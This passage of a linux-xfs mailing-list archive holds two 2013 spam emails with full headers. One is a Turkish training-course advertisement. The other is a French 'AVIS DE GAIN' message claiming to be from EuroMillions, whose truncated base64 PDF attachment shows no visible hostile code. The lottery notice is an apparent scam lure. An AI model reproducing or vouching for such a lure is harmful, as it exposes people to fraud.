    --b1_f9cd25ac9a02ad8ff8e18e4af5c7aa7f-- From begitimduyurulari@gmail.com Wed Dec 25 00:50:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.4 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, HTML_MESSAGE,MISSING_MIMEOLE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8C1207F83 for ; Wed, 25 Dec 2013 00:50:18 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 754518F804C for ; Tue, 24 Dec 2013 22:50:18 -0800 (PST) X-ASG-Debug-ID: 1387954215-04cbb041689467d0001-w1Z2WR Received: from mail.egitimbul.info (mail.egitimbul.info [213.144.118.87]) by cuda.sgi.com with ESMTP id OZGFdQAhHACuEc05 for ; Tue, 24 Dec 2013 22:50:15 -0800 (PST) X-Barracuda-Envelope-From: begitimduyurulari@gmail.com X-Barracuda-Apparent-Source-IP: 213.144.118.87 Received: from deneme (78.180.108.97.dynamic.ttnet.com.tr [78.180.108.97]) by mail.egitimbul.info with SMTP; Wed, 25 Dec 2013 08:50:06 +0200 MIME-Version: 1.0 From: "Yoneticiler" Reply-To: biymed@gmail.com To: linux-xfs@oss.sgi.com Subject: Yoneticilik Egitimi ve Yeni Satinalma Egitimleri Content-Type: multipart/alternative; boundary="----=_NextPart_001_7F5E_0460483C.772F6131" X-ASG-Orig-Subj: Yoneticilik Egitimi ve Yeni Satinalma Egitimleri X-Mailer: Smart_Send_2_0_138 Date: Wed, 25 Dec 2013 08:50:09 +0200 Message-ID: <35761989531041927411926@pc1> Disposition-Notification-To: X-Priority: 1 X-MSMail-Priority: High List-Unsubscribe: X-Barracuda-Connect: mail.egitimbul.info[213.144.118.87] X-Barracuda-Start-Time: 1387954215 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.40 X-Barracuda-Spam-Status: No, SCORE=1.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, K2_MISSING_MIMEOLE, MISSING_MIMEOLE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143381 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE 1.19 K2_MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE ------=_NextPart_001_7F5E_0460483C.772F6131 Content-Type: text/plain; charset="windows-1254" Content-Transfer-Encoding: quoted-printable =20 Biymed Egitim ve Danismanlik =20 Aralik 2013 Egitim Takvimi Yoneticilik ve Liderlik Becerileri Egitimi 28-29 Aralik 2013 Egitimin Icerigi: Guncel yonetim kavramlari=20 Organizasyonlardaki orgutlenme=20 Kurum kulturu=20 Yonetim faaliyetlerinin ozellikleri=20 Yoneticilik ve liderlik=20 Lider Yoneticinin Ozellikleri=20 Yoneticinin ve liderin sahip olmasi gereken ozellikler=20 Yonetimde iliskiler, etkin iletisim ve iletisim yonetimi=20 Yonetici ve motivasyon=20 Catisma yonetimi=20 Paretanalizi=20 Stratejik yonetim=20 Hedeflerle yonetim=20 Performans yonetimi=20 Yonetici ve karar verme=20 Takim kurma ve yonetme=20 Yoneticinin zamani yonetmesi=20 Toplantilari yonetme=20 Raporlama ve takip=20 Cozum ve Sonuc Odaklilik Detayli icerik icin Tiklayin =20 =20 2014 yilinda acilacak Yeni Satinalma Egitimleri Satinalma=92da ileri Yonetim Teknikleri Egitimi ileri Satinalma'da Stratejik Fiyat ve Tedarikci Yonetimi Egitimi ileri Satinalma'da Sozlesme ve Butce Yonetimi ile Uluslararasi ve Endirek S= atinalma Egitimi Satinalma Yonetimi ve Teknikleri Egitimi ileri Derece Satin Alma yonetimi Stratejik Satinalma=92da Tedarikci Yonetimi Egitimi Stratejik Satinalma=92da Fiyat Yonetimi Egitimi Uluslararasi Satinalma Yonetimi Egitimi Lojistik ve Tedarik Zinciri Yonetim= i Egitimi Lojistik Tedarik Zinciri Yonetimi Sertifika programi Tedarik Zinciri Yonetimine Uzmanlik Sertifika programi Daha Fazla bilgi icin Tiklayin Egitimler hakkinda daha fazla bilgi icin tiklayin =20 Bireysel ve Kurumsal 2014 Yili Egitimleri icin Teklif isteyin Daha fazla bilgi icin tiklayin =20 Bu mesaj linux-xfs@oss.sgi.com adresine gonderilmistir. Listeden cikmak ic= in maili geri gondermeniz yeterlidir. =20 ------=_NextPart_001_7F5E_0460483C.772F6131 Content-Type: text/html; charset="windows-1254" Content-Transfer-Encoding: quoted-printable
     

    Biymed Egitim ve Da= nismanlik

     

    Aralik 2013 Egit= im Takvimi

    Yoneticilik ve Liderlik Becerileri = Egitimi
    28-29 Aralik 2013

    <= B>Egitim= in Icerigi:

    • Guncel yonetim kavramlari
    • Organizasyonlardaki org= utlenme
    • Kurum kulturu
    • Yonetim faaliyetlerinin= ozellikleri
    • Yoneticilik ve liderlik
    • Lider Yoneticinin Ozellikleri
    • Yoneticinin ve liderin sahip olmasi gereken ozellikler
    • Yonetimde iliskiler, etkin iletisim ve iletisim yonetimi
    • Yonetici ve motivasyon
    • Catisma yonetimi
    • Paretanalizi=
    • Stratejik yonetim
    • Hedeflerle yonetim
    • Performans yonetimi
    • Yonetici ve karar verme
    • Takim kurma ve yonetme
    • Yoneticinin zamani yonetmesi
    • Toplantilari yonetme
    • Raporlama ve takip
    • Cozum ve Sonuc Odaklilik

    Detayli icerik icin Tiklayin

     

       

    2014 yilinda acilacak
    = Yeni Sat= inalma Egitimleri

    • Satinalma=92da ileri Yonetim Teknikleri Egitimi=20
    • ileri Satinalma'da Stratejik Fiyat ve Tedarikci Yonetimi Egitimi<= /SPAN>=20
    • ileri Satinalma'da Sozlesme ve Butce Yonetimi ile Uluslararasi ve= Endirek Satinalma Egitimi=20
    • Satinalma Yonetimi ve Teknikleri Egitimi=20
    • ileri Derece Satin Alma yonetimi=20
    • Stratejik Satinalma=92da Tedarikci Yonetimi Egitimi=20
    • Stratejik Satinalma=92da Fiyat Yonetimi Egitimi=20
    • Uluslararasi Satinalma Yonetimi Egitimi Lojistik ve Tedarik Zinci= ri Yonetimi Egitimi=20
    • Lojistik Tedarik Zinciri Yonetimi Sertifika programi=20
    • Tedarik Zinciri Yonetimine Uzmanlik Sertifika programi

    Daha = Fazla bilgi icin Tiklayin

     Egitimler h= akkinda daha fazla bilgi icin tiklayin

     

    Bireysel ve Kurumsal
    <= SPAN style=3D"FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 14pt">2014 Yili= Egitimleri icin Teklif isteyin

     Daha fazla bilgi icin tiklayin

     

    =

    =  Bu mesa= j linux-xfs@oss.sgi.com adresine gonderilmistir. Listeden cikmak icin maili= geri gondermeniz yeterlidir.

     

    =
    ------=_NextPart_001_7F5E_0460483C.772F6131-- From avis@el-web2013.com Wed Dec 25 09:08:57 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A9E067F75 for ; Wed, 25 Dec 2013 09:08:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 91301304048 for ; Wed, 25 Dec 2013 07:08:54 -0800 (PST) X-ASG-Debug-ID: 1387984107-04cb6c537c963550001-w1Z2WR Received: from vps20339.lws-hosting.com (vps20339.lws-hosting.com [195.110.34.83]) by cuda.sgi.com with ESMTP id ABIbt2xS0KughX45 for ; Wed, 25 Dec 2013 07:08:30 -0800 (PST) X-Barracuda-Envelope-From: avis@el-web2013.com X-Barracuda-Apparent-Source-IP: 195.110.34.83 Received: from localhost (localhost.localdomain [127.0.0.1]) by vps20339.lws-hosting.com (Postfix) with ESMTP id 5FA1E7C202C; Wed, 25 Dec 2013 15:46:37 +0100 (CET) Received: from vps20339.lws-hosting.com ([127.0.0.1]) by localhost (vps20339.lws-hosting.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 70wyjiI_WO8n; Wed, 25 Dec 2013 15:46:36 +0100 (CET) Received: by vps20339.lws-hosting.com (Postfix, from userid 5003) id 5FF857C0E81; Wed, 25 Dec 2013 15:46:31 +0100 (CET) To: undisclosed-recipients:; Subject: AVIS VOUS CONCERNANT X-PHP-Originating-Script: 5003:main.inc X-ASG-Orig-Subj: AVIS VOUS CONCERNANT MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_f221a95be7b54e92b989e4c3acaadf58" Date: Wed, 25 Dec 2013 14:46:31 +0000 From: AVIS DE GAIN Reply-To: Mail-Reply-To: Message-ID: <9bc15b72045629f22869ffbe41f06327@el-web2013.com> X-Sender: avis@el-web2013.com User-Agent: Roundcube Webmail/0.8.4 X-Barracuda-Connect: vps20339.lws-hosting.com[195.110.34.83] X-Barracuda-Start-Time: 1387984108 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 --=_f221a95be7b54e92b989e4c3acaadf58 Content-Type: multipart/alternative; boundary="=_ee62c300d5e234750ab9e1e94c82b524" --=_ee62c300d5e234750ab9e1e94c82b524 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 Madame / Monsieur, Veuillez prendre acte de ce message émanant de EURO MILLIONS (VOIR ANNEXE). SERVICE RÉCLAMATION --=_ee62c300d5e234750ab9e1e94c82b524 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=UTF-8

     

    Madame / Monsieur,

    Veuillez prendre acte de ce message émanant de EURO MILLIONS = ;(Voir annexe).

    SERVICE RÉCLAMATION

    --=_ee62c300d5e234750ab9e1e94c82b524-- --=_f221a95be7b54e92b989e4c3acaadf58 Content-Transfer-Encoding: base64 Content-Type: application/pdf; name="=?UTF-8?Q?Avis_R=C3=A9f-YDZ413488=2Epdf?=" Content-Disposition: attachment; filename*=UTF-8''Avis%20R%C3%A9f-YDZ413488.pdf; size=663952 JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhmci1GUikgL1N0cnVjdFRyZWVSb290IDU0IDAgUi9NYXJrSW5mbzw8L01hcmtlZCB0cnVlPj4+ Pg0KZW5kb2JqDQoyIDAgb2JqDQo8PC9UeXBlL1BhZ2VzL0NvdW50IDIvS2lkc1sgMyAwIFIgMzgg MCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jlc291 cmNlczw8L0ZvbnQ8PC9GMSA1IDAgUi9GMiAyMCAwIFIvRjMgMjIgMCBSL0Y0IDI3IDAgUi9GNSAy OSAwIFIvRjYgMzEgMCBSPj4vUGF0dGVybjw8L1A4IDggMCBSL1AxNCAxNCAwIFI+Pi9YT2JqZWN0 PDwvSW1hZ2U5IDkgMCBSL0ltYWdlMTEgMTEgMCBSL0ltYWdlMTYgMTYgMCBSL0ltYWdlMTggMTgg MCBSL0ltYWdlMzYgMzYgMCBSL0ltYWdlMzcgMzcgMCBSPj4vRXh0R1N0YXRlPDwvR1MxNSAxNSAw IFIvR1MxOSAxOSAwIFI+Pi9Qcm9jU2V0Wy9QREYvVGV4dC9JbWFnZUIvSW1hZ2VDL0ltYWdlSV0g Pj4vTWVkaWFCb3hbIDAgMCA1OTQuOTYgODQxLjkyXSAvQ29udGVudHMgNCAwIFIvR3JvdXA8PC9U eXBlL0dyb3VwL1MvVHJhbnNwYXJlbmN5L0NTL0RldmljZVJHQj4+L1RhYnMvUy9TdHJ1Y3RQYXJl bnRzIDA+Pg0KZW5kb2JqDQo0IDAgb2JqDQo8PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDI4 MDc+Pg0Kc3RyZWFtDQp4nM1bW2/bRhZ+N+D/MI9UsRrP/RIEBmLHCVzk4iZu+5DtAyPRqnZlyZbo dPtv97Hur+g5Q1KiTFEaWSx2YUg0OZfznfuZ4ejk1Twf36SDnLx8efIqz9PBr9mQfDm5nt39cnL9 +112cpWOxtM0H8+mp6fk7PU5Obs+Pjp5wwkX5Prm+IgTBn+cCEcdcUxQ5sj17fERo8Y6wihj1qnl dT5qa/n09vjoS0J6v5Dr74+PLoDIPdC5SvM8m0/JYEFOrhxZDKbHR8JTQbQ2VMJFemqI0IbMs+Oj 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 Rmlyc3RDaGFyIDMyL0xhc3RDaGFyIDIzOC9XaWR0aHMgMTc1IDAgUj4+DQplbmRvYmoNCjYgMCBv YmoNCjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5hbWUvQUJDREVFK0NhbGlzdG8jMjBNVC9G bGFncyAzMi9JdGFsaWNBbmdsZSAwL0FzY2VudCA5MjUvRGVzY2VudCAtMjEwL0NhcEhlaWdodCA3 MTIvQXZnV2lkdGggNDIxL01heFdpZHRoIDEyMjIvRm9udFdlaWdodCA0MDAvWEhlaWdodCAyNTAv U3RlbVYgNDIvRm9udEJCb3hbIC0xNzEgLTIxMCAxMDUxIDcxMl0gL0ZvbnRGaWxlMiAxNzYgMCBS Pj4NCmVuZG9iag0KNyAwIG9iag0KPDwvRnVuY3Rpb25UeXBlIDAvU2l6ZVsgMjU2XSAvRGVjb2Rl WyAwIDEgMCAxIDAgMV0gL1JhbmdlWyAwIDEgMCAxIDAgMV0gL0JpdHNQZXJTYW1wbGUgOC9Eb21h aW5bIDAgMV0gL0VuY29kZVsgMCAyNTVdIC9PcmRlciAxL0ZpbHRlci9GbGF0ZURlY29kZS9MZW5n dGggMzc0Pj4NCnN0cmVhbQ0KeJyFwvkz1HEYB/D3735ophnTaAxGNYWQQse4k1SOXNFdIuQKOVJy /juboxa7FtmQ+859FZVyhBByPc/n+13bmEyveSkAhdSAv5Ye0D2oX2ioe0heZCQe1jVGMTURTXmJ mWjO3xwRj4rH8Pa4eAJKC9ESSiuU0pMotUaZ1AZltig/xVV2UJ3m6jNQ20PtgApHueYsNOdQSc+j 8gKqqBOqqTPeuYiuqKFu0LpD64H39CJqPVF7CXXUi9dfxgdv8QoarqKRXkOjD5qoL5r90OLPW6+j NQBtNBDtNAgdwbwzBJ030EVD0R2GHnoTH+kt9N7mfXfQdxf99B4G6H0MPuBDD/lwOEboI4zSCIxF 8vHH/FMU/xwtxmAiBpNPxFh8oXH4Kn6L51MJ/Hui+BQ/xOkkPpMspmBWnHsm/5kqn0/jC+nyRZrB fz3XX8qUL7/QX3kp/y3N4qu7X/E1mq2/Ls2R//l7Lt/YM49v7nMr//+3C/59BxeUL1INCmVuZHN0 cmVhbQ0KZW5kb2JqDQo4IDAgb2JqDQo8PC9QYXR0ZXJuVHlwZSAyL1NoYWRpbmc8PC9Db2xvclNw YWNlL0RldmljZVJHQi9TaGFkaW5nVHlwZSAyL0Nvb3Jkc1sgMjk5IDgxMi4zMiAyOTkgNTU2LjMy XSAvRXh0ZW5kWyB0cnVlIHRydWVdIC9GdW5jdGlvbiA3IDAgUj4+Pj4NCmVuZG9iag0KOSAwIG9i ag0KPDwvVHlwZS9YT2JqZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMTQwL0hlaWdodCAxMjYvQ29s b3JTcGFjZS9EZXZpY2VSR0IvQml0c1BlckNvbXBvbmVudCA4L0ludGVycG9sYXRlIGZhbHNlL1NN YXNrIDEwIDAgUi9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDc0Pj4NCnN0cmVhbQ0KeJztwYEA AAAAw6D5U9/gBFUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAADwDM64AAENCmVuZHN0cmVhbQ0KZW5kb2JqDQoxMCAwIG9iag0KPDwvVHlwZS9YT2JqZWN0 L1N1YnR5cGUvSW1hZ2UvV2lkdGggMTQwL0hlaWdodCAxMjYvQ29sb3JTcGFjZS9EZXZpY2VHcmF5 L01hdHRlWyAwIDAgMF0gL0JpdHNQZXJDb21wb25lbnQgOC9JbnRlcnBvbGF0ZSBmYWxzZS9GaWx0 ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDQwPj4NCnN0cmVhbQ0KeJztwTEBAAAAwqD1T20KP6AAAAAA AAAAAAAAAAAAAAAAAL4GROgAAQ0KZW5kc3RyZWFtDQplbmRvYmoNCjExIDAgb2JqDQo8PC9UeXBl L1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0aCAxNDk4L0hlaWdodCA3MTkvQ29sb3JTcGFjZS9E ZXZpY2VSR0IvQml0c1BlckNvbXBvbmVudCA4L0ludGVycG9sYXRlIGZhbHNlL1NNYXNrIDEyIDAg Ui9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDEyMzIyNz4+DQpzdHJlYW0NCnic7N0Ld6M6soZh 7veLATuxz///oafKZKczSUzABoTgfda3Zs3s6d3tdgyWCqnkOAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAMBWuK4GAAAAAAAAy3FdJwicPHWayulOmrp0otD0ywIAAAAAANgd13WS2Glr5//evud2 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 